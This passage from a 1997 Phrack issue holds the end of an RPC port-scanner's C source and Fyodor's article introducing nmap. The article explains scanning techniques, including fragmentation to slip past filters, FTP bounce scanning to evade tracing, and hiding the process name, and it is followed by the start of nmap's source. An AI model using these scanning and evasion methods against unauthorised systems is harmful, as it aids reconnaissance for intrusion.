timeout.tv_sec = 10;
|
|||
|
timeout.tv_usec = 0;
|
|||
|
client = clntudp_create(saddr, program, 1, timeout, &sock);
|
|||
|
if(!client)
|
|||
|
return -1;
|
|||
|
timeout.tv_sec = 10;
|
|||
|
timeout.tv_usec = 0;
|
|||
|
cstat = RPC_TIMEDOUT;
|
|||
|
cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout);
|
|||
|
if(cstat == RPC_TIMEDOUT)
|
|||
|
{
|
|||
|
timeout.tv_sec = 10;
|
|||
|
timeout.tv_usec = 0;
|
|||
|
cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout);
|
|||
|
}
|
|||
|
clnt_destroy(client);
|
|||
|
close(sock);
|
|||
|
if(cstat == RPC_SUCCESS)
|
|||
|
return 1;
|
|||
|
else if(cstat == RPC_PROGVERSMISMATCH)
|
|||
|
return 1;
|
|||
|
else return 0;
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> RPCscan/main.c
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
int check_udp_port(char *, u_short);
|
|||
|
int check_rpc_service(long);
|
|||
|
long get_rpc_prog_number(char *);
|
|||
|
#define HIGH_PORT 5000
|
|||
|
#define LOW_PORT 512
|
|||
|
|
|||
|
main(int argc, char **argv)
|
|||
|
{
|
|||
|
int i,j;
|
|||
|
long prog;
|
|||
|
if(argc != 3)
|
|||
|
{
|
|||
|
fprintf(stderr, "%s host program\n", argv[0]);
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
prog = get_rpc_prog_number(argv[2]);
|
|||
|
if(prog == -1)
|
|||
|
{
|
|||
|
fprintf(stderr, "invalid rpc program number\n");
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
printf("Scanning %s for program %d\n", argv[1], prog);
|
|||
|
for(i=LOW_PORT;i <= HIGH_PORT;i++)
|
|||
|
{
|
|||
|
if(check_udp_port(argv[1], i) > 0)
|
|||
|
{
|
|||
|
if(check_rpc_service(prog) == 1)
|
|||
|
{
|
|||
|
printf("%s is on port %u\n", argv[2], i);
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> RPCscan/rpcserv.c
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <netdb.h>
|
|||
|
#include <ctype.h>
|
|||
|
#include <rpc/rpc.h>
|
|||
|
|
|||
|
long
|
|||
|
get_rpc_prog_number(char *progname)
|
|||
|
{
|
|||
|
struct rpcent *r;
|
|||
|
int i=0;
|
|||
|
|
|||
|
while(progname[i] != '\0')
|
|||
|
{
|
|||
|
if(!isdigit(progname[i]))
|
|||
|
{
|
|||
|
setrpcent(1);
|
|||
|
r = getrpcbyname(progname);
|
|||
|
endrpcent();
|
|||
|
if(!r)
|
|||
|
return -1;
|
|||
|
else return r->r_number;
|
|||
|
}
|
|||
|
i++;
|
|||
|
}
|
|||
|
return atoi(progname);
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> RPCscan/udpcheck.c
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <string.h>
|
|||
|
#include <netdb.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#include <arpa/inet.h>
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <sys/param.h>
|
|||
|
#include <sys/time.h>
|
|||
|
#include <sys/errno.h>
|
|||
|
extern int h_errno;
|
|||
|
|
|||
|
struct sockaddr_in *saddr = NULL;
|
|||
|
|
|||
|
int
|
|||
|
check_udp_port(char *hostname, u_short port)
|
|||
|
{
|
|||
|
int s, i, sr;
|
|||
|
struct hostent *he;
|
|||
|
fd_set rset;
|
|||
|
struct timeval tv;
|
|||
|
|
|||
|
if(!saddr)
|
|||
|
{
|
|||
|
saddr = malloc(sizeof(struct sockaddr_in));
|
|||
|
if(!saddr) return -1;
|
|||
|
|
|||
|
saddr->sin_family = AF_INET;
|
|||
|
saddr->sin_addr.s_addr = inet_addr(hostname);
|
|||
|
if(saddr->sin_addr.s_addr == INADDR_NONE)
|
|||
|
{
|
|||
|
sethostent(1);
|
|||
|
he = gethostbyname(hostname);
|
|||
|
if(!he)
|
|||
|
{
|
|||
|
herror("gethostbyname");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if(he->h_length <= sizeof(saddr->sin_addr.s_addr))
|
|||
|
bcopy(he->h_addr, &saddr->sin_addr.s_addr, he->h_length);
|
|||
|
else
|
|||
|
bcopy(he->h_addr, &saddr->sin_addr.s_addr, sizeof(saddr->sin_addr.s_addr));
|
|||
|
endhostent();
|
|||
|
}
|
|||
|
}
|
|||
|
saddr->sin_port = htons(port);
|
|||
|
s = socket(AF_INET, SOCK_DGRAM, 0);
|
|||
|
if(s < 0)
|
|||
|
{
|
|||
|
perror("socket");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
i = connect(s, (struct sockaddr *)saddr, sizeof(struct sockaddr_in));
|
|||
|
if(i < 0)
|
|||
|
{
|
|||
|
perror("connect");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
for(i=0;i < 3;i++)
|
|||
|
{
|
|||
|
write(s, "", 1);
|
|||
|
FD_ZERO(&rset);
|
|||
|
FD_SET(s, &rset);
|
|||
|
tv.tv_sec = 5;
|
|||
|
tv.tv_usec = 0;
|
|||
|
sr = select(s+1, &rset, NULL, NULL, &tv);
|
|||
|
if(sr != 1)
|
|||
|
continue;
|
|||
|
if(read(s, &sr, sizeof(sr)) < 1)
|
|||
|
{
|
|||
|
close(s);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
close(s);
|
|||
|
return 1;
|
|||
|
}
|
|||
|
}
|
|||
|
close(s);
|
|||
|
return 1;
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 11 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ The Art of Port Scanning
|
|||
|
|
|||
|
|
|||
|
--------[ Fyodor <fyodor@dhp.com>
|
|||
|
|
|||
|
|
|||
|
[ Abstract ]
|
|||
|
|
|||
|
This paper details many of the techniques used to determine what ports (or
|
|||
|
similar protocol abstraction) of a host are listening for connections. These
|
|||
|
ports represent potential communication channels. Mapping their existence
|
|||
|
facilitates the exchange of information with the host, and thus it is quite
|
|||
|
useful for anyone wishing to explore their networked environment, including
|
|||
|
hackers. Despite what you have heard from the media, the Internet is NOT
|
|||
|
all about TCP port 80. Anyone who relies exclusively on the WWW for
|
|||
|
information gathering is likely to gain the same level of proficiency as your
|
|||
|
average AOLer, who does the same. This paper is also meant to serve as an
|
|||
|
introduction to and ancillary documentation for a coding project I have been
|
|||
|
working on. It is a full featured, robust port scanner which (I hope) solves
|
|||
|
some of the problems I have encountered when dealing with other scanners and
|
|||
|
when working to scan massive networks. The tool, nmap, supports the following:
|
|||
|
|
|||
|
- vanilla TCP connect() scanning,
|
|||
|
- TCP SYN (half open) scanning,
|
|||
|
- TCP FIN (stealth) scanning,
|
|||
|
- TCP ftp proxy (bounce attack) scanning
|
|||
|
- SYN/FIN scanning using IP fragments (bypasses packet filters),
|
|||
|
- UDP recvfrom() scanning,
|
|||
|
- UDP raw ICMP port unreachable scanning,
|
|||
|
- ICMP scanning (ping-sweep), and
|
|||
|
- reverse-ident scanning.
|
|||
|
|
|||
|
The freely distributable source code is appended to this paper.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
[ Introduction ]
|
|||
|
|
|||
|
Scanning, as a method for discovering exploitable communication channels, has
|
|||
|
been around for ages. The idea is to probe as many listeners as possible, and
|
|||
|
keep track of the ones that are receptive or useful to your particular need.
|
|||
|
Much of the field of advertising is based on this paradigm, and the "to current
|
|||
|
resident" brute force style of bulk mail is an almost perfect parallel to what
|
|||
|
we will discuss. Just stick a message in every mailbox and wait for the
|
|||
|
responses to trickle back.
|
|||
|
|
|||
|
Scanning entered the h/p world along with the phone systems. Here we have this
|
|||
|
tremendous global telecommunications network, all reachable through codes on
|
|||
|
our telephone. Millions of numbers are reachable locally, yet we may only
|
|||
|
be interested in 0.5% of these numbers, perhaps those that answer with a
|
|||
|
carrier.
|
|||
|
|
|||
|
The logical solution to finding those numbers that interest us is to try them
|
|||
|
all. Thus the field of "wardialing" arose. Excellent programs like Toneloc
|
|||
|
were developed to facilitate the probing of entire exchanges and more. The
|
|||
|
basic idea is simple. If you dial a number and your modem gives you a CONNECT,
|
|||
|
you record it. Otherwise the computer hangs up and tirelessly dials the next
|
|||
|
one.
|
|||
|
|
|||
|
While wardialing is still useful, we are now finding that many of the computers
|
|||
|
we wish to communicate with are connected through networks such as the Internet
|
|||
|
rather than analog phone dialups. Scanning these machines involves the same
|
|||
|
brute force technique. We send a blizzard of packets for various protocols,
|
|||
|
and we deduce which services are listening from the responses we receive (or
|
|||
|
don't receive).
|
|||
|
|
|||
|
|
|||
|
|
|||
|
[ Techniques ]
|
|||
|
|
|||
|
Over time, a number of techniques have been developed for surveying the
|
|||
|
protocols and ports on which a target machine is listening. They all offer
|
|||
|
different benefits and problems. Here is a line up of the most common:
|
|||
|
|
|||
|
- TCP connect() scanning : This is the most basic form of TCP scanning. The
|
|||
|
connect() system call provided by your operating system is used to open a
|
|||
|
connection to every interesting port on the machine. If the port is listening,
|
|||
|
connect() will succeed, otherwise the port isn't reachable. One strong
|
|||
|
advantage to this technique is that you don't need any special privileges. Any
|
|||
|
user on most UNIX boxes is free to use this call. Another advantage is speed.
|
|||
|
While making a separate connect() call for every targeted port in a linear
|
|||
|
fashion would take ages over a slow connection, you can hasten the scan by
|
|||
|
using many sockets in parallel. Using non-blocking I/O allows you to set a low
|
|||
|
time-out period and watch all the sockets at once. This is the fastest
|
|||
|
scanning method supported by nmap, and is available with the -t (TCP) option.
|
|||
|
The big downside is that this sort of scan is easily detectable and filterable.
|
|||
|
The target hosts logs will show a bunch of connection and error messages for
|
|||
|
the services which take the connection and then have it immediately shutdown.
|
|||
|
|
|||
|
|
|||
|
- TCP SYN scanning : This technique is often referred to as "half-open"
|
|||
|
scanning, because you don't open a full TCP connection. You send a SYN packet,
|
|||
|
as if you are going to open a real connection and wait for a response. A
|
|||
|
SYN|ACK indicates the port is listening. A RST is indicative of a non-
|
|||
|
listener. If a SYN|ACK is received, you immediately send a RST to tear down
|
|||
|
the connection (actually the kernel does this for us). The primary advantage
|
|||
|
to this scanning technique is that fewer sites will log it. Unfortunately you
|
|||
|
need root privileges to build these custom SYN packets. SYN scanning is the -s
|
|||
|
option of nmap.
|
|||
|
|
|||
|
|
|||
|
- TCP FIN scanning : There are times when even SYN scanning isn't clandestine
|
|||
|
enough. Some firewalls and packet filters watch for SYNs to an unallowed port,
|
|||
|
and programs like synlogger and Courtney are available to detect these scans.
|
|||
|
FIN packets, on the other hand, may be able to pass through unmolested. This
|
|||
|
scanning technique was featured in detail by Uriel Maimon in Phrack 49, article
|
|||
|
15. The idea is that closed ports tend to reply to your FIN packet with the
|
|||
|
proper RST. Open ports, on the other hand, tend to ignore the packet in
|
|||
|
question. This is a bug in TCP implementations and so it isn't 100% reliable
|
|||
|
(some systems, notably Micro$oft boxes, seem to be immune). It works well on
|
|||
|
most other systems I've tried. FIN scanning is the -U (Uriel) option of nmap.
|
|||
|
|
|||
|
|
|||
|
- Fragmentation scanning : This is not a new scanning method in and of itself,
|
|||
|
but a modification of other techniques. Instead of just sending the probe
|
|||
|
packet, you break it into a couple of small IP fragments. You are splitting
|
|||
|
up the TCP header over several packets to make it harder for packet filters
|
|||
|
and so forth to detect what you are doing. Be careful with this! Some
|
|||
|
programs have trouble handling these tiny packets. My favorite sniffer
|
|||
|
segmentation faulted immediately upon receiving the first 36-byte fragment.
|
|||
|
After that comes a 24 byte one! While this method won't get by packet filters
|
|||
|
and firewalls that queue all IP fragments (like the CONFIG_IP_ALWAYS_DEFRAG
|
|||
|
option in Linux), a lot of networks can't afford the performance hit this
|
|||
|
causes. This feature is rather unique to scanners (at least I haven't seen
|
|||
|
any others that do this). Thanks to daemon9 for suggesting it. The -f
|
|||
|
instructs the specified SYN or FIN scan to use tiny fragmented packets.
|
|||
|
|
|||
|
|
|||
|
- TCP reverse ident scanning : As noted by Dave Goldsmith in a 1996 Bugtraq
|
|||
|
post, the ident protocol (rfc1413) allows for the disclosure of the username of
|
|||
|
the owner of any process connected via TCP, even if that process didn't
|
|||
|
initiate the connection. So you can, for example, connect to the http port
|
|||
|
and then use identd to find out whether the server is running as root. This
|
|||
|
can only be done with a full TCP connection to the target port (i.e. the -t
|
|||
|
option). nmap's -i option queries identd for the owner of all listen()ing
|
|||
|
ports.
|
|||
|
|
|||
|
|
|||
|
- FTP bounce attack : An interesting "feature" of the ftp protocol (RFC 959) is
|
|||
|
support for "proxy" ftp connections. In other words, I should be able to
|
|||
|
connect from evil.com to the FTP server-PI (protocol interpreter) of target.com
|
|||
|
to establish the control communication connection. Then I should be able to
|
|||
|
request that the server-PI initiate an active server-DTP (data transfer
|
|||
|
process) to send a file ANYWHERE on the internet! Presumably to a User-DTP,
|
|||
|
although the RFC specifically states that asking one server to send a file to
|
|||
|
another is OK. Now this may have worked well in 1985 when the RFC was just
|
|||
|
written. But nowadays, we can't have people hijacking ftp servers and
|
|||
|
requesting that data be spit out to arbitrary points on the internet. As
|
|||
|
*Hobbit* wrote back in 1995, this protocol flaw "can be used to post virtually
|
|||
|
untraceable mail and news, hammer on servers at various sites, fill up disks,
|
|||
|
try to hop firewalls, and generally be annoying and hard to track down at the
|
|||
|
same time." What we will exploit this for is to (surprise, surprise) scan TCP
|
|||
|
ports from a "proxy" ftp server. Thus you could connect to an ftp server
|
|||
|
behind a firewall, and then scan ports that are more likely to be blocked (139
|
|||
|
is a good one). If the ftp server allows reading from and writing to a
|
|||
|
directory (such as /incoming), you can send arbitrary data to ports that you do
|
|||
|
find open.
|
|||
|
|
|||
|
For port scanning, our technique is to use the PORT command to declare that
|
|||
|
our passive "User-DTP" is listening on the target box at a certain port number.
|
|||
|
Then we try to LIST the current directory, and the result is sent over the
|
|||
|
Server-DTP channel. If our target host is listening on the specified port, the
|
|||
|
transfer will be successful (generating a 150 and a 226 response). Otherwise
|
|||
|
we will get "425 Can't build data connection: Connection refused." Then we
|
|||
|
issue another PORT command to try the next port on the target host. The
|
|||
|
advantages to this approach are obvious (harder to trace, potential to bypass
|
|||
|
firewalls). The main disadvantages are that it is slow, and that some FTP
|
|||
|
servers have finally got a clue and disabled the proxy "feature". For what it
|
|||
|
is worth, here is a list of banners from sites where it does/doesn't work:
|
|||
|
|
|||
|
*Bounce attacks worked:*
|
|||
|
|
|||
|
220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
|
|||
|
220 xxx.xxx.xxx.edu FTP server ready.
|
|||
|
220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
|
|||
|
220 lem FTP server (SunOS 4.1) ready.
|
|||
|
220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.
|
|||
|
220 elios FTP server (SunOS 4.1) ready
|
|||
|
|
|||
|
*Bounce attack failed:*
|
|||
|
|
|||
|
220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
|
|||
|
220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
|
|||
|
220 ftp Microsoft FTP Service (Version 3.0).
|
|||
|
220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
|
|||
|
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.
|
|||
|
|
|||
|
The 'x's are partly there to protect those guilty of running a flawed server,
|
|||
|
but mostly just to make the lines fit in 80 columns. Same thing with the
|
|||
|
ellipse points. The bounce attack is available with the -b <proxy_server>
|
|||
|
option of nmap. proxy_server can be specified in standard URL format,
|
|||
|
username:password@server:port , with everything but server being optional.
|
|||
|
|
|||
|
|
|||
|
- UDP ICMP port unreachable scanning : This scanning method varies from the
|
|||
|
above in that we are using the UDP protocol instead of TCP. While this
|
|||
|
protocol is simpler, scanning it is actually significantly more difficult.
|
|||
|
This is because open ports don't have to send an acknowledgement in response to
|
|||
|
our probe, and closed ports aren't even required to send an error packet.
|
|||
|
Fortunately, most hosts do send an ICMP_PORT_UNREACH error when you send a
|
|||
|
packet to a closed UDP port. Thus you can find out if a port is NOT open, and
|
|||
|
by exclusion determine which ports which are. Neither UDP packets, nor the
|
|||
|
ICMP errors are guaranteed to arrive, so UDP scanners of this sort must also
|
|||
|
implement retransmission of packets that appear to be lost (or you will get a
|
|||
|
bunch of false positives). Also, this scanning technique is slow because of
|
|||
|
compensation for machines that took RFC 1812 section 4.3.2.8 to heart and limit
|
|||
|
ICMP error message rate. For example, the Linux kernel (in net/ipv4/icmp.h)
|
|||
|
limits destination unreachable message generation to 80 per 4 seconds, with a
|
|||
|
1/4 second penalty if that is exceeded. At some point I will add a better
|
|||
|
algorithm to nmap for detecting this. Also, you will need to be root for
|
|||
|
access to the raw ICMP socket necessary for reading the port unreachable. The
|
|||
|
-u (UDP) option of nmap implements this scanning method for root users.
|
|||
|
|
|||
|
Some people think UDP scanning is lame and pointless. I usually remind them of
|
|||
|
the recent Solaris rcpbind hole. Rpcbind can be found hiding on an
|
|||
|
undocumented UDP port somewhere above 32770. So it doesn't matter that 111 is
|
|||
|
blocked by the firewall. But can you find which of the more than 30,000 high
|
|||
|
ports it is listening on? With a UDP scanner you can!
|
|||
|
|
|||
|
|
|||
|
- UDP recvfrom() and write() scanning : While non-root users can't read
|
|||
|
port unreachable errors directly, Linux is cool enough to inform the user
|
|||
|
indirectly when they have been received. For example a second write()
|
|||
|
call to a closed port will usually fail. A lot of scanners such as netcat
|
|||
|
and Pluvius' pscan.c does this. I have also noticed that recvfrom() on
|
|||
|
non-blocking UDP sockets usually return EAGAIN ("Try Again", errno 13) if
|
|||
|
the ICMP error hasn't been received, and ECONNREFUSED ("Connection refused",
|
|||
|
errno 111) if it has. This is the technique used for determining open ports
|
|||
|
when non-root users use -u (UDP). Root users can also use the -l (lamer
|
|||
|
UDP scan) options to force this, but it is a really dumb idea.
|
|||
|
|
|||
|
|
|||
|
- ICMP echo scanning : This isn't really port scanning, since ICMP doesn't have
|
|||
|
a port abstraction. But it is sometimes useful to determine what hosts in a
|
|||
|
network are up by pinging them all. the -P option does this. Also you might
|
|||
|
want to adjust the PING_TIMEOUT #define if you are scanning a large
|
|||
|
network. nmap supports a host/bitmask notation to make this sort of thing
|
|||
|
easier. For example 'nmap -P cert.org/24 152.148.0.0/16' would scan CERT's
|
|||
|
class C network and whatever class B entity 152.148.* represents. Host/26 is
|
|||
|
useful for 6-bit subnets within an organization.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
[ Features ]
|
|||
|
|
|||
|
Prior to writing nmap, I spent a lot of time with other scanners exploring the
|
|||
|
Internet and various private networks (note the avoidance of the "intranet"
|
|||
|
buzzword). I have used many of the top scanners available today, including
|
|||
|
strobe by Julian Assange, netcat by *Hobbit*, stcp by Uriel Maimon, pscan by
|
|||
|
Pluvius, ident-scan by Dave Goldsmith, and the SATAN tcp/udp scanners by
|
|||
|
Wietse Venema. These are all excellent scanners! In fact, I ended up hacking
|
|||
|
most of them to support the best features of the others. Finally I decided
|
|||
|
to write a whole new scanner, rather than rely on hacked versions of a dozen
|
|||
|
different scanners in my /usr/local/sbin. While I wrote all the code, nmap
|
|||
|
uses a lot of good ideas from its predecessors. I also incorporated some new
|
|||
|
stuff like fragmentation scanning and options that were on my "wish list" for
|
|||
|
other scanners. Here are some of the (IMHO) useful features of nmap:
|
|||
|
|
|||
|
- dynamic delay time calculations: Some scanners require that you supply a
|
|||
|
delay time between sending packets. Well how should I know what to use?
|
|||
|
Sure, I can ping them, but that is a pain, and plus the response time of many
|
|||
|
hosts changes dramatically when they are being flooded with requests. nmap
|
|||
|
tries to determine the best delay time for you. It also tries to keep track
|
|||
|
of packet retransmissions, etc. so that it can modify this delay time during
|
|||
|
the course of the scan. For root users, the primary technique for finding an
|
|||
|
initial delay is to time the internal "ping" function. For non-root users, it
|
|||
|
times an attempted connect() to a closed port on the target. It can also pick
|
|||
|
a reasonable default value. Again, people who want to specify a delay
|
|||
|
themselves can do so with -w (wait), but you shouldn't have to.
|
|||
|
|
|||
|
- retransmission: Some scanners just send out all the query packets, and
|
|||
|
collect the responses. But this can lead to false positives or negatives in
|
|||
|
the case where packets are dropped. This is especially important for
|
|||
|
"negative" style scans like UDP and FIN, where what you are looking for is a
|
|||
|
port that does NOT respond. In most cases, nmap implements a configurable
|
|||
|
number of retransmissions for ports that don't respond.
|
|||
|
|
|||
|
- parallel port scanning: Some scanners simply scan ports linearly, one at a
|
|||
|
time, until they do all 65535. This actually works for TCP on a very fast
|
|||
|
local network, but the speed of this is not at all acceptable on a wide area
|
|||
|
network like the Internet. nmap uses non-blocking i/o and parallel scanning
|
|||
|
in all TCP and UDP modes. The number of scans in parallel is configurable
|
|||
|
with the -M (Max sockets) option. On a very fast network you will actually
|
|||
|
decrease performance if you do more than 18 or so. On slow networks, high
|
|||
|
values increase performance dramatically.
|
|||
|
|
|||
|
- Flexible port specification: I don't always want to just scan all 65535
|
|||
|
ports. Also, the scanners which only allow you to scan ports 1 - N sometimes
|
|||
|
fall short of my need. The -p option allows you to specify an arbitrary
|
|||
|
number of ports and ranges for scanning. For example, '-p 21-25,80,113,
|
|||
|
60000-' does what you would expect (a trailing hyphen means up to 65536, a
|
|||
|
leading hyphen means 1 through). You can also use the -F (fast) option, which
|
|||
|
scans all the ports registered in your /etc/services (a la strobe).
|
|||
|
|
|||
|
- Flexible target specification: I often want to scan more then one host,
|
|||
|
and I certainly don't want to list every single host on a large network to
|
|||
|
scan. Everything that isn't an option (or option argument) in nmap is
|
|||
|
treated as a target host. As mentioned before, you can optionally append
|
|||
|
/mask to a hostname or IP address in order to scan all hosts with the same
|
|||
|
initial <mask> bits of the 32 bit IP address.
|
|||
|
|
|||
|
- detection of down hosts: Some scanners allow you to scan large networks, but
|
|||
|
they waste a huge amount of time scanning 65535 ports of a dead host! By
|
|||
|
default, nmap pings each host to make sure it is up before wasting time on it.
|
|||
|
It is also capable of bailing on hosts that seem down based on strange port
|
|||
|
scanning errors. It is also meant to be tolerant of people who accidentally scan
|
|||
|
network addresses, broadcast addresses, etc.
|
|||
|
|
|||
|
- detection of your IP address: For some reason, a lot of scanners ask you to
|
|||
|
type in your IP address as one of the parameters. Jeez, I don't want to have
|
|||
|
to 'ifconfig' and figure out my current address every time I scan. Of course,
|
|||
|
this is better then the scanners I've seen which require recompilation every
|
|||
|
time you change your address! nmap first tries to detect your address during
|
|||
|
the ping stage. It uses the address that the echo response is received on, as
|
|||
|
that is the interface it should almost always be routed through. If it can't
|
|||
|
do this (like if you don't have host pinging enabled), nmap tries to detect
|
|||
|
your primary interface and uses that address. You can also use -S to specify
|
|||
|
it directly, but you shouldn't have to (unless you want to make it look like
|
|||
|
someone ELSE is SYN or FIN scanning a host.
|
|||
|
|
|||
|
|
|||
|
Some other, more minor options:
|
|||
|
|
|||
|
-v (verbose): This is highly recommended for interactive use. Among other
|
|||
|
useful messages, you will see ports come up as they are found, rather than
|
|||
|
having to wait for the sorted summary list.
|
|||
|
|
|||
|
-r (randomize): This will randomize the order in which the target host's
|
|||
|
ports are scanned.
|
|||
|
|
|||
|
-q (quash argv): This changes argv[0] to FAKE_ARGV ("pine" by default).
|
|||
|
It also eliminates all other arguments, so you won't look too suspicious in
|
|||
|
'w' or 'ps' listings.
|
|||
|
|
|||
|
-h for an options summary.
|
|||
|
|
|||
|
Also look for http://www.dhp.com/~fyodor/nmap/, which is the web site I plan to
|
|||
|
put future versions and more information on. In fact, you would be well
|
|||
|
advised to check there right now.
|
|||
|
|
|||
|
|
|||
|
[ Greets ]
|
|||
|
|
|||
|
Of course this paper would not be complete without a shout out to all the
|
|||
|
people who made it possible.
|
|||
|
|
|||
|
* Congratulations to the people at Phrack for getting this thing going again!
|
|||
|
* Greets to the whole dc-stuff crew.
|
|||
|
* Greets to the STUPH, Turntec, L0pht, TACD, the Guild, cDc, and all the other
|
|||
|
groups who help keep the scene alive.
|
|||
|
* Shout out to _eci for disclosing the coolest Windows bug in recent history.
|
|||
|
* Thanks to the Data Haven Project (dhp.com) admins for providing such great
|
|||
|
service for $10/month.
|
|||
|
* And a special shout out goes to all my friends. You know who
|
|||
|
you are and some of you (wisely) stay out of the spotlight, so I'll keep you
|
|||
|
anonymous ... except of course for Ken and Jay, and Avenger, Grog, Cash
|
|||
|
Monies, Ethernet Kid, Zos, JuICe, Mother Prednisone, and Karen.
|
|||
|
|
|||
|
|
|||
|
And finally, we get to ...
|
|||
|
|
|||
|
|
|||
|
[ The code ]
|
|||
|
|
|||
|
This should compile fine on any Linux box with 'gcc -O6 -o nmap nmap.c -lm'.
|
|||
|
It is distrubuted under the terms of the GNU GENERAL PUBLIC LICENSE. If you
|
|||
|
have problems or comments, feel free to mail me (fyodor@dhp.com).
|
|||
|
|
|||
|
<++> nmap/Makefile
|
|||
|
# A trivial makefile for Network Mapper
|
|||
|
nmap: nmap.c nmap.h
|
|||
|
gcc -Wall -O6 -o nmap nmap.c -lm
|
|||
|
<-->
|
|||
|
|
|||
|
<++> nmap/nmap.h
|
|||
|
#ifndef NMAP_H
|
|||
|
#define NMAP_H
|
|||
|
|
|||
|
/************************INCLUDES**********************************/
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <string.h>
|
|||
|
#include <sys/types.h>
|
|||
|
#include <rpc/types.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <sys/stat.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <netdb.h>
|
|||
|
#include <time.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <signal.h>
|
|||
|
#include <signal.h>
|
|||
|
#include <linux/ip.h> /*<netinet/ip.h>*/
|
|||
|
#include <linux/icmp.h> /*<netinet/ip_icmp.h>*/
|
|||
|
#include <arpa/inet.h>
|
|||
|
#include <math.h>
|
|||
|
#include <time.h>
|
|||
|
#include <sys/time.h>
|
|||
|
#include <asm/byteorder.h>
|
|||
|
#include <netinet/ip_tcp.h>
|
|||
|
|
|||
|
/************************DEFINES************************************/
|
|||
|
|
|||
|
/* #define to zero if you don't want to ignore hosts of the form
|
|||
|
xxx.xxx.xxx.{0,255} (usually network and broadcast addresses) */
|
|||
|
#define IGNORE_ZERO_AND_255_HOSTS 1
|
|||
|
|
|||
|
#define DEBUGGING 0
|
|||
|
|
|||
|
/* Default number of ports in paralell. Doesn't always involve actual
|
|||
|
sockets. Can also adjust with the -M command line option. */
|
|||
|
#define MAX_SOCKETS 36
|
|||
|
/* If reads of a UDP port keep returning EAGAIN (errno 13), do we want to
|
|||
|
count the port as valid? */
|
|||
|
#define RISKY_UDP_SCAN 0
|
|||
|
/* This ideally should be a port that isn't in use for any protocol on our machine or on the target */
|
|||
|
#define MAGIC_PORT 49724
|
|||
|
/* How many udp sends without a ICMP port unreachable error does it take before we consider the port open? */
|
|||
|
#define UDP_MAX_PORT_RETRIES 4
|
|||
|
/*How many seconds before we give up on a host being alive? */
|
|||
|
#define PING_TIMEOUT 2
|
|||
|
#define FAKE_ARGV "pine" /* What ps and w should show if you use -q */
|
|||
|
/* How do we want to log into ftp sites for */
|
|||
|
#define FTPUSER "anonymous"
|
|||
|
#define FTPPASS "-wwwuser@"
|
|||
|
#define FTP_RETRIES 2 /* How many times should we relogin if we lose control
|
|||
|
connection? */
|
|||
|
|
|||
|
#define UC(b) (((int)b)&0xff)
|
|||
|
#define MORE_FRAGMENTS 8192 /*NOT a user serviceable parameter*/
|
|||
|
#define fatal(x) { fprintf(stderr, "%s\n", x); exit(-1); }
|
|||
|
#define error(x) fprintf(stderr, "%s\n", x);
|
|||
|
|
|||
|
/***********************STRUCTURES**********************************/
|
|||
|
|
|||
|
typedef struct port {
|
|||
|
unsigned short portno;
|
|||
|
unsigned char proto;
|
|||
|
char *owner;
|
|||
|
struct port *next;
|
|||
|
} port;
|
|||
|
|
|||
|
struct ftpinfo {
|
|||
|
char user[64];
|
|||
|
char pass[256]; /* methinks you're paranoid if you need this much space */
|
|||
|
char server_name[MAXHOSTNAMELEN + 1];
|
|||
|
struct in_addr server;
|
|||
|
unsigned short port;
|
|||
|
int sd; /* socket descriptor */
|
|||
|
};
|
|||
|
|
|||
|
typedef port *portlist;
|
|||
|
|
|||
|
/***********************PROTOTYPES**********************************/
|
|||
|
|
|||
|
/* print usage information */
|
|||
|
void printusage(char *name);
|
|||
|
|
|||
|
/* our scanning functions */
|
|||
|
portlist tcp_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
portlist *ports);
|
|||
|
portlist syn_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
struct in_addr *source, int fragment, portlist *ports);
|
|||
|
portlist fin_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
struct in_addr *source, int fragment, portlist *ports);
|
|||
|
portlist udp_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
portlist *ports);
|
|||
|
portlist lamer_udp_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
portlist *ports);
|
|||
|
portlist bounce_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
